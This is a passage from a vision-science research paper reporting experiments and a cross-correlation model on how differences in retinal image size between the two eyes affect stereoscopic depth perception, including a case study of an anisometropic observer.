"Stimuli and procedure\nThe stimuli were sparse random-dot stereograms. The dots in each eye's stimulus were randomly displaced from a hexagonal lattice (6.4 dots/deg 2). Horizontal disparities were then created by shifting the dots horizontally in opposite directions in each eye's stimulus. The disparities specified a sinusoidal corrugation in depth with a spatial frequency at screen center of 0.4 cycles/deg and peak-to-trough amplitude of 20.4 arcmin. The relative phase of the corrugation waveform was randomized. The corrugation was −10 or +10° from horizontal and the observer's task was to identify which of the two orientations appeared after each stimulus presentation. The stimulus area was circular with a diameter of 10°. A fixation cross was always present to help the observer maintain appropriate binocular eye alignment. Dot size was random from 1.6 to 3.3 arcmin to minimize monocular cues to stimulus orientation.\nWe fixed the spatial frequency and amplitude of the corrugation waveform so that the waveform's images in the two eyes did not change. To measure the effect of image-size differences, we added disparity noise and determined the maximum amount of noise for which the observer could reliably make the orientation discrimination. The noise dots replaced signal dots and were assigned disparities from a random uniform distribution with the same disparity range as the dots in the corrugation waveform. The total number of dots (signal plus noise dots) was constant. Thus, we measured coherence thresholds where coherence is the number of signal dots divided by the total number of dots.\nWe created differences in image size by uniformly magnifying one eye's image and minifying the other's. The magnification and minification closely mimicked those that occur with natural gaze-normal surfaces at a cyclopean distance of 39 cm and at various azimuths. The relative magnifications were 0, 5, 10, 12.5, and 15%; for an observer with an inter-pupillary distance of 6 cm, those correspond respectively to azimuths of 0, 14.2, 28.7, 36.3, and 44.5°. Altogether we presented nine relative image magnifications (four simulating leftward azimuths, four simulating rightward, and one simulating straight ahead). Observer KXY was presented additional magnifications of 17.5 and 20%.\nAll of the relative magnifications were presented with the eyes in three different positions: horizontal versions of −16°, 0°, and +16° (where positive values are rightward). For each version, the haploscope arms were rotated to the appropriate position so that accurate fixation of the fixation cross put the eyes in the desired position. Two observers (AAA, DMH) could not do the task at a version of +16° because in that situation the haploscope mirrors hit their noses; instead they did the task at +10°.\nAfter each 600-ms stimulus presentation, observers indicated the orientation of the corrugation with a button press. Because the relative phase of the sinusoidal corrugation was randomized, they had to perceive at least part of the waveform to do the task. Each response led to the presentation of the next stimulus. No feedback was provided.\nInterleaved QUEST procedures (Watson & Pelli, 1983) sought the coherence threshold: the proportion of signal dots for which observers could identify the corrugation orientation correctly 75% of the time. The data were collected with multiple staircases for each combination of image magnification and version. A cumulative Gaussian was fit to the data for each condition (at least 160 trials) using a maximum-likelihood criterion (Wichmann & Hill, 2001). Threshold was defined as the mean of the fitted function.\nResults\nFigure 3 plots stereo coherence threshold (the number of signal dots divided by total dots) as a function of relative image magnification with the eyes in forward gaze (version = 0°). Each panel shows the data from a different observer. Coherence thresholds were lowest when image size was equal in the two eyes and grew as the size difference increased. Thus, as we expected, stereo performance worsened as the difference in the sizes of the two eyes' images increased. For most observers, magnifications greater than 10% caused a noticeable decline.\nFigure 3\n\nResults and predictions for Experiment 1. Coherence threshold (the proportion of signal dots in the stimulus at discrimination threshold) is plotted as a function of the relative magnification of the two eyes' retinal images. Each panel shows data for one observer with the eyes in forward gaze (version = 0°). The data are represented by the black symbols and lines. Error bars are standard errors of the means calculated by bootstrapping. The predictions of the neural compensation hypothesis are represented by the dashed red (leftward gaze; version = −16°) and blue (rightward gaze; version = +16°) curves. The predicted shifts differ across observers because the shifts depend on the inter-pupillary distance. For observers AAA and DMH, rightward gaze position was set to +10°.\nFigure 3\n\nResults and predictions for Experiment 1. Coherence threshold (the proportion of signal dots in the stimulus at discrimination threshold) is plotted as a function of the relative magnification of the two eyes' retinal images. Each panel shows data for one observer with the eyes in forward gaze (version = 0°). The data are represented by the black symbols and lines. Error bars are standard errors of the means calculated by bootstrapping. The predictions of the neural compensation hypothesis are represented by the dashed red (leftward gaze; version = −16°) and blue (rightward gaze; version = +16°) curves. The predicted shifts differ across observers because the shifts depend on the inter-pupillary distance. For observers AAA and DMH, rightward gaze position was set to +10°.",
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"If Ogle's neural compensation mechanism exists early in visual processing, changing eye position ought to change the magnification for which stereo performance is best: leftward gaze, for example, should cause a relative “psychological” magnification of the representation of the right-eye's image, so performance should be better for a left-eye magnification greater than 0%. The dashed lines in Figure 3 represent the predictions of this hypothesis (red for leftward, blue for rightward gaze).\nFigure 4 plots coherence threshold as a function of relative image magnification when the eyes were in leftward, forward, and rightward gaze. Clearly, the data were unaffected by changes in eye position. Said another way, threshold was determined by the properties of the retinal images and not by gaze direction. These data are compelling evidence against the presence of a neural compensation mechanism triggered by changes in eye position. It remains possible, of course, that Ogle's hypothesized neural magnification occurs after the stage of disparity estimation and thereby is involved in disparity interpretation.\nFigure 4\n\nResults of Experiment 1. Coherence threshold is plotted against the relative magnification of the two eyes' images. Each panel shows the data for one observer. The red, black, and blue symbols represent the data with the eyes in leftward (version = −16°), forward (0°), and rightward (+16°) gaze, respectively. Error bars are standard errors. The forward-gaze data are replotted from Figure 3.\nFigure 4\n\nResults of Experiment 1. Coherence threshold is plotted against the relative magnification of the two eyes' images. Each panel shows the data for one observer. The red, black, and blue symbols represent the data with the eyes in leftward (version = −16°), forward (0°), and rightward (+16°) gaze, respectively. Error bars are standard errors. The forward-gaze data are replotted from Figure 3.",
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"There were some small, but systematic asymmetries in the data. Observers BNV and AAA had lower thresholds when the right-eye's image was larger than the left-eye's and observer DMH exhibited the opposite effect. These asymmetries may have been caused by uncorrected aniseikonia.\nExperiment 2\nThe results of Experiment 1 are clearly inconsistent with Ogle's hypothesis that changes in eye position (specifically, changes in horizontal version) trigger alterations in the represented sizes of the two-eyes' images before the stage of disparity estimation. However, the technique we used to generate disparities in Experiment 1 creates a combination of horizontal and vertical disparities that cannot occur in natural viewing (Held & Banks, 2008). We were concerned that the compensation mechanism might not have been triggered because the disparities in Experiment 1 were unnatural. To rule out this possibility, we re-ran the experiment with geometrically correct horizontal and vertical disparities.\nMethods\nThe apparatus, stimuli, and procedure were the same as those in Experiment 1 with a few exceptions. Four observers, ages 27–31 years, participated. They had normal or corrected-to-normal (HRF wore contact lenses) visual acuity and stereoacuity. Two were unaware of the experimental hypotheses and two were authors (HRF, BNV). BNV also participated in Experiment 1; the other three did not. The apparatus was the same as in Experiment 1 except for the displays. The new CRTs were Clinton monochrome displays (1280 × 1024 pixels, pixel size & 2.5 arcmin, refresh rate = 75 Hz).\nThe most significant difference was that the stereograms were created by using perspective projection. We constructed a virtual sinusoidal corrugation in space, textured it with random dots, and projected the dots to the two eyes. To minimize monocular artifacts, the dot density in virtual space was adjusted for the changing depth of the sinusoid; thus the monocular dot density was nearly constant. This created a stereogram with vertical disparities that occur in natural viewing for the various combinations of simulated distance and azimuth. Dot size was random from 2.5 to 5.0 arcmin (calculated at screen center). Image-size differences were created by changing the azimuth of the virtual surface relative to the head before the perspective projection. The surface remained gaze-normal at 39 cm from the cyclopean eye. At non-zero azimuths, the virtual surface was closer to one eye than the other, so the sizes of the images on the two CRTs differed. The image-size differences and version angles were the same as those in Experiment 1. With observer HGM we could not rotate the haploscope arms to −16 and +16° because his nose hit the mirrors; instead we presented versions of −10 and +10°.\nThe method of generating disparities in Experiment 2 caused small variations in dot density in the half-images that might have allowed observers to identify stimulus orientation monocularly. We conducted a control experiment to check this possibility. We presented half-images to the left eyes of observers BNV, MCV, and HGM. The images were those associated with 0% relative magnification and the smaller image for 15% relative magnification from Experiment 2. The latter was chosen because dot densities were highest in that image and therefore most likely to lead to monocular artifacts. The images contained 100% signal dots. Binomial tests showed that none of the observers could reliably discriminate corrugation orientation in any of these monocular conditions (100 trials per condition, p > 0.37 in all conditions and all subjects), which proves that stereopsis was required to perform the task.\nResults and discussion\nFigure 5 shows the results of Experiment 2. Red, black, and blue represent the data for leftward, forward, and rightward gaze, respectively. The results are essentially identical to those from Experiment 1: there was again no measurable effect of eye position; rather the worsening of coherence threshold was determined solely by the differences in image size at the two eyes. Thus, we again observed no behavior consistent with eye-position changes triggering neural magnification prior to the stage of disparity estimation.\nFigure 5\n\nResults of Experiment 2. Coherence threshold is plotted against the relative magnification of the two eyes' images. Each panel shows the data for one observer. The red, black, and blue symbols represent the data with the eyes in leftward (−16°), forward (0°), and rightward (+16°) gaze, respectively. Error bars are standard errors.\nFigure 5\n\nResults of Experiment 2. Coherence threshold is plotted against the relative magnification of the two eyes' images. Each panel shows the data for one observer. The red, black, and blue symbols represent the data with the eyes in leftward (−16°), forward (0°), and rightward (+16°) gaze, respectively. Error bars are standard errors.",
null,
"Implications for everyday vision\nAs the ratio of image sizes at the two eyes deviated from 1, we found that stereo performance worsened, particularly for size differences of 15% or more ( Figures 4 and 5). This effect was determined only by the ratio of retinal-image sizes and not by eye position. What are the implications for everyday vision?\nIn Experiments 1 and 2, we measured stereo coherence thresholds as a function of the image-size ratio. To our knowledge, the quantitative relationship between coherence threshold and standard measures of stereo sensitivity, such as stereo acuity, has not been determined. However, Highman (1977) showed that the logarithm of the stereo acuity threshold (i.e., the smallest discriminable disparity) is roughly proportional to the image-size ratio. We can infer, therefore, that there would be a similar relationship between coherence threshold and stereo acuity: higher coherence thresholds being associated with poorer stereo acuities.\nFigure 6\n\nPlan view of coherence thresholds for naturally occurring image-size ratios. As in Figure 1, the simulated stimuli are small gaze-normal patches. From Figure 1, we know the image-size ratio for each head-centric position. From those ratios, we used the stereo coherence threshold data in Figure 4, averaged across observers, to plot coherence threshold for each object position. The thresholds are indicated by the colors.\nFigure 6\n\nPlan view of coherence thresholds for naturally occurring image-size ratios. As in Figure 1, the simulated stimuli are small gaze-normal patches. From Figure 1, we know the image-size ratio for each head-centric position. From those ratios, we used the stereo coherence threshold data in Figure 4, averaged across observers, to plot coherence threshold for each object position. The thresholds are indicated by the colors.",
null,
"Modeling\nIn Experiments 1 and 2, we found that eye position does not affect the relationship between image-size differences and stereo performance. We next investigated the cause of the drop-off in performance as size differences increased. Our hypothesis is that the drop-off is a consequence of using local cross-correlation to estimate disparity, so we presented the same stimuli and task to such a model and then compared the model's performance to human performance.\nMethods\nThe stimuli were the same random-dot stereograms specifying sinusoidal corrugations as in Experiment 1, and the task was again to determine whether the corrugation orientation was −10 or +10°. To make the inputs to the model similar to those in humans, we blurred the half-images according to the optics of the well-focused human eye (Geisler & Davila, 1985) before the images were presented to the cross-correlator. See Filippini and Banks (2009) for further details. The model does not incorporate eye-position signals: its only inputs are the post-optics retinal images.\nCross-correlator\nThe cross-correlation was computed for windowed patches of the two half-images:\n$c( δ x, δ y)= ∑ ( x , y ) ∈ W L [ ( L ( x , y ) − μ L ) ( R ( x − δ x , y − δ y ) − μ R ) ] ∑ ( x , y ) ∈ W L ( L ( x , y ) − μ L ) 2 ∑ ( x , y ) ∈ W R ( R ( x − δ x , y − δ y ) − μ R ) 2$\n(3)\nwhere L( x, y) and R( x, y) are the image intensities in the left and right half-images, W L and W R are the windows applied to the half-images (2D isotropic Gaussians), and μ L and μ R are the mean intensities within the two windowed images. Because uniform magnification alters both horizontal and vertical disparities, we needed to estimate disparities in two dimensions. Thus, δ x is the horizontal displacement of W R relative to W L, and δ y is the vertical displacement (where displacement is disparity).\nTo estimate disparities, we shifted W L along two straight trajectories, −10 and +10° from horizontal: trajectories that are parallel to one of the two possible stimulus orientations. For each position of W L, we computed the correlation between the left- and right-eye samples for different positions of W R. To minimize computation time, the trajectory of W L was restricted to one line for −10° and another line for +10°; this simplification did not affect the pattern of results, but it did increase coherence threshold uniformly.\nW R was shifted both horizontally and vertically with respect to W L. Figure 7 shows example half-images and the associated cross-correlation output. The x-axis represents the position of W L along its trajectory. The y- and z-axes represent respectively the relative horizontal and vertical displacement of W R relative to W L (corresponding to horizontal and vertical disparities, respectively).\nFigure 7\n\nMovie depicting output of local cross-correlator. The x-axis of each frame is the position of the sample of the left-eye's image, windowed by W L, along the trajectory through that image. The y-axis of each frame is the horizontal offset between W L and W R, which corresponds to the horizontal disparity. The z-axis, which is represented over time, is the vertical offset between W L and W R. Color represents the correlation, red indicating a correlation of 1. The stimulus presented to the cross-correlator is a random-dot stereogram depicting a sinusoidal corrugation; the left-eye's half image is magnified by 5%. One can see the disparity estimates corresponding to the corrugation as the correlator moves from one vertical offset to the next. The correlations are highest when the vertical offset is near 0.\nFigure 7\n\nMovie depicting output of local cross-correlator. The x-axis of each frame is the position of the sample of the left-eye's image, windowed by W L, along the trajectory through that image. The y-axis of each frame is the horizontal offset between W L and W R, which corresponds to the horizontal disparity. The z-axis, which is represented over time, is the vertical offset between W L and W R. Color represents the correlation, red indicating a correlation of 1. The stimulus presented to the cross-correlator is a random-dot stereogram depicting a sinusoidal corrugation; the left-eye's half image is magnified by 5%. One can see the disparity estimates corresponding to the corrugation as the correlator moves from one vertical offset to the next. The correlations are highest when the vertical offset is near 0.\nDecision rule\nA decision rule was needed for the model to perform the same task as the humans. As in Filippini and Banks (2009), we used template matching. We constructed templates of the post-optics stimuli for both corrugation orientations; the templates had the appropriate spatial frequency and amplitude for the corrugation waveform. We then cross-correlated the templates with the output of the cross-correlator, and the model picked the template yielding the highest correlation on every trial. From these responses, we generated psychometric functions: percent correct vs. coherence. Coherence thresholds were then calculated from maximum-likelihood fits of cumulative Gaussians to the psychometric data (Wichmann & Hill, 2001).\nResults\nFigure 8 plots coherence threshold against relative image magnification. As relative magnification increased, threshold rose, creating a bowl-shaped function centered at 0%. Thus, the cross-correlation model exhibits the same general behavior as humans did in Experiment 1\nFigure 8\n\nCoherence threshold of the cross-correlation model as a function of relative image magnification in the two eyes' images. Coherence threshold is the proportion of signal dots in the stimulus at discrimination threshold. Magnification is the size difference between the two eyes' images expressed as a percentage. To the left of 0%, the left-eye's image is larger. The extent of the vertical search was constant at 3.6 arcmin. Red, blue, and green represent window sizes (the standard deviations of W L and W R) of 6, 18, and 30 arcmin, respectively. Error bars represent standard errors.\nFigure 8\n\nCoherence threshold of the cross-correlation model as a function of relative image magnification in the two eyes' images. Coherence threshold is the proportion of signal dots in the stimulus at discrimination threshold. Magnification is the size difference between the two eyes' images expressed as a percentage. To the left of 0%, the left-eye's image is larger. The extent of the vertical search was constant at 3.6 arcmin. Red, blue, and green represent window sizes (the standard deviations of W L and W R) of 6, 18, and 30 arcmin, respectively. Error bars represent standard errors.",
null,
"We investigated how the choice of window size affected the modeling results because window size is an important parameter of local cross-correlation models (Banks et al., 2004; Filippini & Banks, 2009; Harris et al., 1997; Kanade & Okutomi, 1994). Larger windows contain more luminance information, so they allow better disparity estimation when disparity varies smoothly across position; larger windows, however, reduce the ability to detect spatially fine variations (Banks et al., 2004; Filippini & Banks, 2009). Thus, there is frequently an optimal window size for the disparity estimation task at hand. We varied the standard deviation of WL and WR from 6 to 30 arcmin to investigate how window size affects behavior in the task of Experiment 1. We chose 6 arcmin because there is evidence that that size corresponds to the smallest used by the human visual system (Filippini & Banks, 2009; Harris et al., 1997). We chose 30 arcmin because that size is still small enough to not encroach on the Nyquist sampling limit given the spatial frequency of the corrugation waveform. Figure 8 shows the results. There is little, if any, effect of window size on how relative magnification affects disparity estimation, so window size had little effect on the model's behavior in this task.\nUniform magnification alters both horizontal and vertical disparities, so to find the highest correlation between the two images, we had to vary the horizontal and vertical position of the right-eye's sample relative to the left-eye's sample. The maximum disparity for binocular fusion is much smaller for vertical than for horizontal disparities: for horizontal disparity, the fusion limit is 10–20 arcmin at the fovea; for vertical disparity, the limit is only 2–4 arcmin (Duwaer & van den Brink, 1981). Thus, to constrain the model in the way human vision is constrained, we restricted the extent of vertical search to 3.6 arcmin.\nFigure 9 shows the average human thresholds from Experiment 1 along with the model's thresholds when its parameters were set to the most reasonable values. As the difference in image size grew, coherence threshold rose in similar fashion for humans and the model. The model's thresholds were generally higher than human thresholds, but this is due to the fact that the model was restricted to searching along one trajectory for the left-eye's image; when we relaxed this restriction, the model's thresholds became more similar to human thresholds, but the computation time increased significantly. Because the local cross-correlator and humans exhibit similar effects of relative image magnification, we conclude that the degradation of human performance when the two eyes' images differ in size is a byproduct of using correlation to estimate disparity.\nFigure 9\n\nComparison of model and human performance. Coherence threshold is plotted as a function of relative magnification. Filled circles and solid lines represent the average human data for forward gaze (version = 0°) in Experiment 1. Unfilled squares and dashed lines represent model data; the standard deviation of the window was 18 arcmin and the extent of the vertical search was 3.6 arcmin. Error bars represent standard errors.\nFigure 9\n\nComparison of model and human performance. Coherence threshold is plotted as a function of relative magnification. Filled circles and solid lines represent the average human data for forward gaze (version = 0°) in Experiment 1. Unfilled squares and dashed lines represent model data; the standard deviation of the window was 18 arcmin and the extent of the vertical search was 3.6 arcmin. Error bars represent standard errors.",
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"Experiment 3\nRoughly one in five people in the industrialized world have different refractive errors in the two eyes, a condition called anisometropia (Borish, 1970). The majority of these people has differences in the sizes of the images at their two retinas even when the distances from the left and right eyes to the object are the same (Bradley, Rabin, & Freeman, 1983; Highman, 1977). We showed in Experiments 1 and 2 that normal observers do not adjust for changes in image size caused by eccentric and near gaze. Figure 10 shows in the same format as Figure 6 how stereo coherence threshold would vary as a function of stimulus position for people with 10% and 20% of optical aniseikonia if they were affected by differences in retinal-image size in the same fashion as our normal observers. Red indicates the positions for which one would expect a degradation in stereopsis. As you can see, a 10% or 20% difference in image size (which is commonplace in people with more than 2 diopters of anisometropia) would be expected to cause noticeable degradations in stereo performance for most object positions in front of the head. Do such people indeed suffer losses in stereo vision for natural viewing positions? Or have they adapted to their optical aniseikonia in a way that minimizes losses in stereo vision?\nFigure 10\n\nPlan view of coherence thresholds for naturally occurring size ratios in people with aniseikonia. The upper and lower panels show the calculations for 10% and 20% aniseikonia (larger image in right eye), respectively. The colors indicate the stereo coherence thresholds that would be expected if no adaptation to aniseikonia occurred.\nFigure 10\n\nPlan view of coherence thresholds for naturally occurring size ratios in people with aniseikonia. The upper and lower panels show the calculations for 10% and 20% aniseikonia (larger image in right eye), respectively. The colors indicate the stereo coherence thresholds that would be expected if no adaptation to aniseikonia occurred.",
null,
"We attempted to answer those questions in Experiment 3. We tested a person with significant optical aniseikonia to determine if she had adapted or not. We did so by measuring coherence thresholds as a function of the relative sizes of the images presented to the eyes. The measurements were done with the eyes in forward gaze. If the observer had compensated for her long-standing optical aniseikonia, we would expect stereo performance to be best when the retinal images were the same sizes. If she had not compensated, we would expect the best performance when the image-size difference was appropriate to nullify the optical aniseikonia.\nMethods\nA 24-year-old observer participated. She had spherical equivalent refractive errors of +3.50 D and +6.75 D in the left and right eyes, respectively. She was first diagnosed with anisometropia at age 9 years; the magnitude of anisometropia increased steadily up to age 20 years, and has since remained constant. Axial eye lengths (anterior surface of the cornea to the retina) as well as corneal curvatures were measured by optical biometry (Zeiss IOLMaster). Her right eye was significantly longer than her left eye: Axial lengths were 25.77 and 26.85 mm in the left and right eyes, respectively. Corneal curvatures are similar in the two eyes and consistent with a small astigmatism in the right eye: 7.80 (K1) and 7.74 mm (K2) in the right eye and 7.91 (K1) and 7.60 mm (K2) in the left eye. The similarity of the corneal curvatures and differences in axial lengths are consistent with the magnitude and sign of the anisometropia, so we conclude that the observer is an axial anisometrope (that is, the difference in refractive error is caused solely by the difference in eye lengths). The observer reported that she wears her spectacles most of the time.\nWe calculated retinal-image sizes in mm using the reduced eye model. With no spectacle or contact-lens correction, the retinal images in the right eye are 5.40% larger than in the left eye. With her spectacle correction in place, we calculated a relative magnification in the right eye of 1.37%; the decrease in optical aniseikonia due to the spectacles is a byproduct of Knapp's Law (Knapp, 1869). With her contact lenses in place, the right eye's relative magnification is only slightly smaller than with no correction: 4.61%. The observer wore her contact-lens correction during the experiment so that she could see the stimuli sharply in both eyes. We took the magnifications caused by the contacts into account in interpreting the results.\nThe apparatus, stimuli, and procedure were identical to those of Experiment 1 with two exceptions. First, the experimental measurements were made in forward gaze only (version = 0 deg). Second, we presented the image magnifications in smaller steps in the hope of determining precisely the image-size ratio for which coherence threshold was lowest.\nResults\nFigure 11 plots coherence threshold as a function of the ratio of image sizes presented to the eyes. We fit the data with:\n$t=a+b(S−m)+c(S−m ) 2$\n(4)\nwhere t is coherence threshold, S is percentage of image magnification (negative percentages represent larger images in the left eye than in the right eye), and a, b, c, and m are fitting parameters. To do the fitting, we weighted each data point by the inverse of its squared standard error and used a least-squares criterion on those weighted values. We were most interested in the value of m for the best-fitting function because it represents the magnification for which coherence threshold was lowest. Taking into account the fact that she wore her contact lenses while being tested, the expected m would be 0.79% if she were adapted to her aniseikonia when she is not wearing any optical correction (purple dashed line in the figure), 0% if she were adapted when she is wearing her contact lenses (blue dashed line), −3.24% if she were adapted to her spectacles (red dashed line), and −4.61% if she were not adapted at all (green dashed line). The value of m for the best-fitting function was −0.30% (gray line). With bootstrapping, we determined that the 95% confidence intervals for m are −1.37 to 0.94%. The predictions for adaptation to contacts and no optical correction fall well within the confidence intervals, while the predictions for no adaptation and for adaptation to her spectacles do not fall within the intervals. Thus, the data show that she has adapted to her optical aniseikonia, but we cannot determine whether she has adapted to no optical correction or to her contact-lens correction.\nFigure 11\n\nResults and predictions for Experiment 3. Coherence threshold (the proportion of signal dots in the stimulus at discrimination threshold) is plotted as a function of the relative magnification of the two eyes' retinal images. The observer is an anisometrope and was tested with the eyes in forward gaze (version = 0°). The data are represented by the black symbols and lines. Error bars are standard errors of the means calculated by bootstrapping. We determined the relative magnification that resulted in the best stereo performance by fitting the data with Equation 4. This magnification is represented by the gray solid line. The dashed lines indicate the magnifications for which stereo performance would be best if the observer were completely adapted to image-size differences with glasses (red dashed line), contact lenses (blue line), or no optical correction (purple line). If she were not adapted at all, performance would be best at the green dashed line.\nFigure 11\n\nResults and predictions for Experiment 3. Coherence threshold (the proportion of signal dots in the stimulus at discrimination threshold) is plotted as a function of the relative magnification of the two eyes' retinal images. The observer is an anisometrope and was tested with the eyes in forward gaze (version = 0°). The data are represented by the black symbols and lines. Error bars are standard errors of the means calculated by bootstrapping. We determined the relative magnification that resulted in the best stereo performance by fitting the data with Equation 4. This magnification is represented by the gray solid line. The dashed lines indicate the magnifications for which stereo performance would be best if the observer were completely adapted to image-size differences with glasses (red dashed line), contact lenses (blue line), or no optical correction (purple line). If she were not adapted at all, performance would be best at the green dashed line.",
null,
"There are two plausible mechanisms by which people with long-standing optical aniseikonia may adapt such that they perceive no difference in image size and such that they achieve best stereo performance when the retinal images are the same size. First, they may adapt by neurally adjusting the relative sizes of the represented retinal images (perhaps by the “psychological” adjustment suggested by Ogle (1950) for eccentric gaze). Second, adaptation might be a byproduct of retinal stretching that accompanies an increase in axial length (Chui, Song, & Burns, 2008). If the retina stretched by an amount commensurate with the length increase, the number of photoreceptors stimulated by an object in the world would be constant in the two eyes despite differences in image size expressed in linear units (Bradley et al., 1983; Winn et al., 1988). Our results do not allow us to distinguish between these two hypotheses; they only reveal that an observer with significant optical aniseikonia has adapted for the purpose of estimating disparity and performing a stereoscopic task.\nConclusion\nWhen one fixates near, eccentric objects, the retinal images in the two eyes differ in size. We examined the consequences of such size differences for stereo performance. We found that stereo vision is best when the sizes of the images presented to the eyes are equal or nearly equal, and that remains true even when the eyes are in eccentric gaze where a size difference would naturally occur. A model of disparity estimation based on correlating the two eyes' images exhibits the same behavior. We also tested an observer who has persistently different image sizes due to differing refractive errors in the two eyes. The observer's stereo vision was best when the images presented to the eyes were the same size, which means that complete compensation has occurred for the long-standing difference in the retinal images. In summary, stereopsis is best for stimuli that are straight ahead of the viewer and therefore have equal or nearly equal sizes as they approach the eyes.\nAcknowledgments\nThe authors thank Chris Burns for software assistance, David Hoffman for software assistance and helpful discussion, Ralph Bartholomew and Nick Lines for apparatus construction, Rob Meyerson for help with the data collection, Ethan Rossi for measuring the axial eye length, and Tracy Huang for being an observer. This research was funded by NIH research grant EY-R01-08266 to MSB and by NWO Rubicon fellowship 446-06-021 to BV.\nCommercial relationships: none.\nCorresponding author: Martin Banks.\nEmail: [email protected].\nAddress: 360 Minor Hall, Berkeley, CA 94720-2020, USA.\nFootnotes\nFootnotes\n1 Ogle also proposed that vertical size differences in the two eyes' images could serve as the trigger for neural compensation. This is a plausible hypothesis for the problem of disparity interpretation, but is implausible for the problem of disparity estimation because estimation has to occur before the system can determine if a vertical size difference exists. Thus, we will not consider that version of the neural compensation hypothesis.\nFootnotes\n2 Ogle's evidence for eye-position-based magnification was the following. He reported that dichoptic images of the same retinal size appear to differ in size when viewed with eccentric gaze. However, this effect was much smaller when observers were not allowed to move their eyes across the images. We now know that saccadic eye movements in eccentric gaze are unequal in amplitude (Schor, Maxwell, & Stevenson, 1994). It seems likely that when Ogle's observers made saccades across the target, the resulting fixation disparity caused the apparent size change. It follows that eye-position-based magnification may not occur in a way that is manifest in the perceived size of retinal images.\nReferences\nAmes, A. Ogle, K. N. Gliddon, G. H. (1932). Corresponding retinal points, the horopter and size and shape of ocular images II. Journal of the Optical Society of America A, 22, 575–631.\nBackus, B. T. Banks, M. S. van Ee, R. Crowell, J. A. (1999). Horizontal and vertical disparity, eye position, and stereoscopic slant perception. Vision Research, 39, 1143–1170. [PubMed]\nBanks, M. S. Gepshtein, S. Landy, M. S. (2004). Why is spatial stereoresolution so low? Journal of Neuroscience, 24, 2077–2089. [PubMed] [Article]\nBlakemore, C. (1970). A new kind of stereoscopic vision. Vision Research, 10, 1181–1199. [PubMed]\nBorish, I. M. (1970). Clinical refraction. New York: The Professional Press.\nBradley, A. Rabin, J. Freeman, R. D. (1983). Non-optical determinants of aniseikonia. Investigative Ophthalmology & Visual Science, 24, 507–512. [PubMed] [Article]\nBrainard, D. H. (1997). The Psychophysics Toolbox. Spatial Vision, 10, 433–436. [PubMed]\nBurt, P. Julesz, B. (1980). A disparity gradient limit for binocular fusion. Science, 208, 615–617. [PubMed]\nChui, T. Y. Song, H. Burns, S. A. (2008). Individual variations in human cone photoreceptor packing density: Variations with refractive error. Investigative Ophthalmology & Visual Science, 49, 4679–4687. [PubMed]\nCormack, L. K. Stevenson, S. B. Schor, C. M. (1991). Interocular correlation, luminance contrast and cyclopean processing. Vision Research, 31, 2195–2207. [PubMed]\nCumming, B. G. DeAngelis, G. C. (2001). The physiology of stereopsis. Annual Review of Neuroscience, 24, 203–238. [PubMed]\nDuwaer, A. L. van den Brink, G. (1981). What is the diplopia threshold? Perception & Psychophysics, 29, 295–309. [PubMed]\nFilippini, H. R. Banks, M. S. (2009). Limits of stereopsis explained by local cross-correlation. Journal of Vision, 9, (1):8, 1–18, http://journalofvision.org/9/1/8/, doi:10.1167/9.1.8. [PubMed] [Article]\nFiorentini, A. Maffei, L. (1971). Binocular depth perception without geometrical cues. Vision Research, 11, 1299–1305. [PubMed]\nFleet, D. J. Wagner, H. Heeger, D. J. (1996). Neural encoding of binocular disparity: Energy models, position shifts and phase shifts. Vision Research, 36, 1839–1857. [PubMed]\nGeisler, W. S. Davila, K. D. (1985). Ideal discriminators in spatial vision: Two-point stimuli. Journal of the Optical Society of America A, Optics and Image Science, 2, 1483–1497. [PubMed]\nGresty, M. A. (1974). Coordination of head and eye movements to fixate continuous and intermittent targets. Vision Research, 14, 395–403. [PubMed]\nHarris, J. M. McKee, S. P. Smallman, H. S. (1997). Fine-scale processing in human binocular stereopsis. Journal of the Optical Society of America A, Optics, Image Science, and Vision, 14, 1673–1683. [PubMed]\nHeld, R. T. Banks, M. S. (2008). Misperceptions in stereoscopic displays: A vision science perspective. Proceedings of the 5th Symposium on Applied Perception in Graphics and Visualization, 23–32).\nHerzau, W. Ogle, K. N. (1937). Über den Größenunterschied der Bilder beider Augen bei asymmetrischer Konvergenz und seine Bedeutung für das zweiäugige Sehen. Archiv für Ophthalmologie, 137, 327–363.\nHighman, V. N. (1977). Stereopsis and aniseikonia in uniocular aphakia. British Journal of Ophthalmology, 61, 30–33. [PubMed] [Article]\nHillis, J. M. Banks, M. S. (2001). Are corresponding points fixed? Vision Research, 41, 2457–2473. [PubMed]\nHillis, J. M. Watt, S. J. Landy, M. S. Banks, M. S. (2004). Slant from texture and disparity cues: Optimal cue combination. Journal of Vision, 4, (12):1, 967–992, http://journalofvision.org/4/12/1/, doi:10.1167/4.12.1. [PubMed] [Article]\nJiménez, J. R. Ponce, A. del Barco, L. J. Díaz, J. A. Pérez-Ocón, F. (2002). Impact of induced aniseikonia on stereopsis with random-dot stereogram. Optometry and Vision Science, 79, 121–125. [PubMed]\nKanade, T. Okutomi, M. (1994). A stereo matching algorithm with an adaptive window: Theory and experiment. IEEE Transactions on Pattern Analysis and Machine Intelligence, 16, 920–932.\nKnapp, H. (1869). The influence of spectacles on the optical constants and visual acuteness of the eye. Archives of Ophthalmology and Otology, 1, 377.\nLovasik, J. V. Szymkiw, M. (1985). Effects of aniseikonia, anisometropia, accommodation, retinal illuminance, and pupil size on stereopsis. Investigative Ophthalmology & Visual Science, 26, 741–750. [PubMed] [Article]\nOgle, K. N. (1939). Relative sizes of ocular images of the two eyes in asymmetric convergence. Archives of Ophthalmology, 22, 1046–1067.\nOgle, K. N. (1950). Researches in binocular vision. Philadelphia, London: W B Saunders.\nOhzawa, I. (1998). Mechanisms of stereoscopic vision: The disparity energy model. Current Opinion in Neurobiology, 8, 509–515. [PubMed]\nOhzawa, I. DeAngelis, G. C. Freeman, R. D. (1990). Stereoscopic depth discrimination in the visual cortex: Neurons ideally suited as disparity detectors. Science, 249, 1037–1041. [PubMed]\nPelli, D. G. (1997). The VideoToolbox software for visual psychophysics: Transforming numbers into movies. Spatial Vision, 10, 437–442. [PubMed]\nPotetz, B. Lee, T. S. (2003). Statistical correlations between two-dimensional images and three-dimensional structures in natural scenes. Journal of the Optical Society of America A, Optics, Image Science, and Vision, 20, 1292–1303. [PubMed]\nSchor, C. M. Maxwell, J. S. Stevenson, S. B. (1994). Isovergence surfaces: The conjugacy of vertical eye movements in tertiary positions of gaze. Ophthalmic & Physiological Optics, 14, 279–286. [PubMed]\nStahl, J. S. (1999). Amplitude of human head movements associated with horizontal saccades. Experimental Brain Research, 126, 41–54. [PubMed] [Article]\nWatson, A. B. Pelli, D. G. (1983). QUEST: A Bayesian adaptive psychometric method. Perception & Psychophysics, 33, 